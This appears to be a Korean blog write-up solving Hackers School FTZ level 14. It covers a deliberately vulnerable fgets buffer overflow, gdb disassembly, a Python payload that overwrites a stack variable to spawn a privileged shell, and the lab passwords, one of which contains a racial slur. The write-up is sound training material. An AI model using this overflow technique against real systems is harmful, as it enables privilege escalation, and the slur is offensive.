[FTZ] level 14 → level 15 문제풀이 본문

Pwnable/해커스쿨 FTZ write-up

[FTZ] level 14 → level 15 문제풀이

disso1p1 2020. 3. 1. 21:53

 

 

 

level14 - id : level14 , pw : what that nigga want?



[level14@ftz level14]$ ls      
attackme  hint	public_html  tmp
[level14@ftz level14]$ cat hint

레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.

#include <stdio.h>
#include <unistd.h>
 
main()
{ int crap;
  int check;
  char buf[20];
  fgets(buf,45,stdin);
  if (check==0xdeadbeef)
   {
     setreuid(3095,3095);
     system("/bin/sh");
   }
}    

[level14@ftz level14]$ 

 

변수 buf 에 표준입력으로 입력 받고,

만약 변수 check 가 0xdeadbeef 면 level15 의 권한으로 쉘을 실행시키는 프로그램이다.

 

check 를 직접적으로 입력하는 부분은 없지만, buf 가 20byte 이고, 최대 45byte 만큼 입력할 수 있기 때문에

BOF 취약점이 발생한다.

또한 check 가 buf 보다 먼저 선언 되었으므로 스택에서 buf 보다 더 높은 주소에 있다.

 

만약 buf 의 시작주소와 check 의 시작주소 사이의 거리가 45 byte 보다 적다면 check 를 덮을 수 있다.

 

 

이렇게 배경을 깔고 gdb 로 attackme 파일을 분석해보자.

 

[level14@ftz level14]$ cp attackme tmp
[level14@ftz level14]$ cd tmp
[level14@ftz tmp]$ gdb -q attackme 
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>:	push   ebp
0x08048491 <main+1>:	mov    ebp,esp
0x08048493 <main+3>:	sub    esp,0x38
0x08048496 <main+6>:	sub    esp,0x4
0x08048499 <main+9>:	push   ds:0x8049664
0x0804849f <main+15>:	push   0x2d
0x080484a1 <main+17>:	lea    eax,[ebp-56]
0x080484a4 <main+20>:	push   eax
0x080484a5 <main+21>:	call   0x8048360 <fgets>
0x080484aa <main+26>:	add    esp,0x10
0x080484ad <main+29>:	cmp    DWORD PTR [ebp-16],0xdeadbeef
0x080484b4 <main+36>:	jne    0x80484db <main+75>
0x080484b6 <main+38>:	sub    esp,0x8
0x080484b9 <main+41>:	push   0xc17
0x080484be <main+46>:	push   0xc17
0x080484c3 <main+51>:	call   0x8048380 <setreuid>
0x080484c8 <main+56>:	add    esp,0x10
0x080484cb <main+59>:	sub    esp,0xc
0x080484ce <main+62>:	push   0x8048548
0x080484d3 <main+67>:	call   0x8048340 <system>
0x080484d8 <main+72>:	add    esp,0x10
0x080484db <main+75>:	leave  
---Type <return> to continue, or q <return> to quit---
0x080484dc <main+76>:	ret    
0x080484dd <main+77>:	lea    esi,[esi]
End of assembler dump.
(gdb) 

 

0x080484a1 <main+17> 부분을 보면 ebp-56 주소를 fgets 함수의 인자값으로 넘겨준다. (  fgets(buf,45,stdin); ) 

즉, buf 의 위치는 ebp-56 이다.

 

0x080484ad <main+29> 부분을 보면 ebp-16 주소에 있는 값과 0xdeadbeef 를 비교한다. (  if (check==0xdeadbeef) )

즉, check 의 위치는 ebp-16 이다.

 

그러므로 40 byte 만큼 아무 값이나 넣고, 4 byte 를 0xdeadbeef 로 덮으면 되겠다.

 

 

buf(20) + dummy(20) + check(4)

 

A A ... A \xef \xbe \xad \xde

↑                                                                                                                

ebp-56 ( buf 시작주소 )                                                                        ebp-16 ( check 시작주소 )

 

 

구조는 이렇다.

 

 

이제 공격해보자.

 

[level14@ftz tmp]$ cd ..
[level14@ftz level14]$ (python -c 'print "A"*40 + "\xef\xbe\xad\xde"';cat) | ./attackme
id
uid=3095(level15) gid=3094(level14) groups=3094(level14)
my-pass

Level15 Password is "guess what".




 

level15 권한으로 쉘이 실행된 것을 확인할 수 있다.

 

 

 

 

 

Level15 Password is "guess what".

 

 

 

감사합니다

Comments